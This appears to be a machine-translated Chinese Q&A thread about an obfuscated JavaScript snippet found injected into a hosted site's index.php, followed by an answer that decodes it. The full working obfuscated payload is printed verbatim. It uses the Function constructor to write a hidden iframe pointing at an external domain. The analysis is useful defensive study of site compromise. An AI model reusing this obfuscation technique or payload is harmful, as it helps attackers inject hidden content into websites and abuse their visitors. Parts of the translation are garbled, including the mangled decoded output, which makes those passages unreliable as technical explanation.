此脚本出现在我帮助的网站的index.php页面中:
<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>
它似乎唯一能做的就是在您尝试打开页面时返回错误。我刚刚删除它,一切都运行良好,但我们不知道它是如何到达那里的,如果它应该实际上做一些可能有害的事情。该网站以aruba方式托管,有权访问该代码的人最近都没有在这个页面上工作过。
答案 0 :(得分:5)
所以现在这是一个难题。
相当打印代码,它有4个阶段:
$声明就像这里的一切一样,有点奇怪:
$=~[];
在Chrome控制台中,返回-1;在数值上下文中计算,[]变为0,并且〜(javascript中的按位NOT运算符)在0上产生-1。所以我们将变量赋值为-1。 Unobfuscate!
v = -1;
然后构建一个带有未混淆的字典:
$={ ___ : ++$, dct={ zero : 0,
$$$$ : (![] + "")[$], f : "f",
__$ : ++$, one : 1,
$_$_ : (![] + "")[$], a : "a",
_$_ : ++$, two : 2,
$_$$ : ({} + "")[$], b : "b",
$$_$ : ($[$] + "")[$], d : "d",
_$$ : ++$, three : 3,
$$$_ : (!"" + "")[$], e : "e",
$__ : ++$, four : 4,
$_$ : ++$, five : 5,
$$__ : ({} + "")[$], c : "c",
$$_ : ++$, six : 6,
$$$ : ++$, seven : 7,
$___ : ++$, eight : 8,
$__$ : ++$ nine : 9
}; };
所以我们有一个字典,其中包含0到9之间的一些值,以及字母a到f。有人闻到十六进制获取字母的方法是从可预测的js生成的字符串中挑选出子字符串;对于“a”,“e”和“f”,falsy值加“”给出“false”。对于b和c,{}+""
给出[object Object]
,undefined
给出d。
接下来,它构造字典($.$_
)的$ _(我们称之为alpha)元素作为a的串联
一系列字符串(到目前为止定义的unobf名称加上_$
成为beta,$$
gamma,__
delta,
$
epsilon,_
phi):
(dct.alpha = dct + "")[dct.five] // dct.alpha = "[object Object]", yields "c"
(dct.beta = dct.alpha[dct.one]) // dct.beta="o", yields "o"
(dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
((!dct) + "")[dct.three] // "s"
(dct.delta = dct.alpha[dct.six]) // dct.delta="t", "t"
(dct.epsilon= (!"" + "")[dct.one]) // dct.epsilon="r", "r"
(dct.phi = (!"" + "")[dct.two]) // dct.phi = "u", "u"
dct.alpha[dct.5] // "c"
dct.delta // "t"
dct.beta // "o"
dct.epsilon // "r"
所以这一切都将dct.alpha($.$_
)设置为“构造函数”。不祥的。 $.$$
(我们称之为gamma)的类似设置,将其设置为“返回”。云层变厚了。
另一次重新分配,这次是$.$
(我们的dct.epsilon),将其设置为
dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]
这不仅仅是一个数组查找。 dct.zero
为0,所以(0)[“构造函数”]正在查找
“构造函数”属性为0.请记住,在javascript中,[“b”]与...相同
a.b,所以(0)["constructor"]["constructor"]
是0.constructor.constructor
。 0的构造函数是Number函数,以及。的构造函数
数字功能是功能功能。然后将此函数(指针)分配给dct.epsilon。
蠕虫病了。
最终语句是对$.$$
的嵌套函数调用:
dct.epsilon( Function(
dct.epsilon( Function(
//long concatenation // something functiony
)() )()
)(); )()
长连接将传递给函数构造函数,然后立即执行。 此函数返回的函数也将立即执行。
实际上,到目前为止我们所看到的一切都是脚手架。几乎任何功能都可以构建 虽然我们已经知道将要使用的字母。我会冒险猜测以上情况 是一种通用的混淆,可以保存所需的任何有效负载。
由characeter构造的字符串是:
return "docu\155e\156t.\167\162\151te('<d \151 ... // continues
所以我们可以看到那里有逃逸的序列。事实上,回归 告诉我们整个文件...字符串将有助于非转义,然后返回批发,准备好了 外部呼叫呼叫它。
因此外部调用将接收此现在未转义的字符串(格式化和拆分字符串以便于阅读):
文件撰写( ''+ '' + “计数器” + '' + “” );
我把'HEXYHEXY'代替那里的十六进制字符串 - 它可能会链接你的 网站或者也许是这个页面上的病毒作者,我们并不是真正想要的。 iframe中的域名 src可能连接到病毒作者,或者它可能只是另一个被入侵的页面;一只蠕虫 可能会使用一个主机通过这种病毒作为中介引导另一个主机。我的猜测是 它只是推动虚假页面印象 - 每次你的页面被击中,目标页面也是如此,但没有人看到 广告等因为隐藏的div容器。 'Counter'位只是一种隐藏的尝试 明显的秘密;如果您查看浏览器的页面表示,您所看到的就是 一个无辜的反iframe。
病毒作者在这里有一些技巧来逃避找到这种脚本的简单方法:
\155
变成'm',所以字母永远不会是一个普通的字符串。eval
(![]+"")[3] = "false"[3] = "s"
的子字符串来挑选单个字符而不将它们放在普通字符串中$
和_
的变量来混淆人类读者(a=b)
返回a的值,因此(a=b)
[3]返回赋值值的子字符串,同时也进行赋值a = {(a=3):"b",++a:"c"}
所有这些都是普通代码中非常糟糕的事情,因为它们就在这里:它们使代码难以阅读或理解。
答案 1 :(得分:2)
这可能是一种病毒。这些病毒通过感染主机(几乎总是Windows)来工作,然后在他们可以找到的任何HTML文件中复制自己。当您打开与服务器的连接时,“受感染”的HTML文件会被复制并最终被复制,最终会无意中感染或对访问者造成伤害。
让您的防病毒保持最新。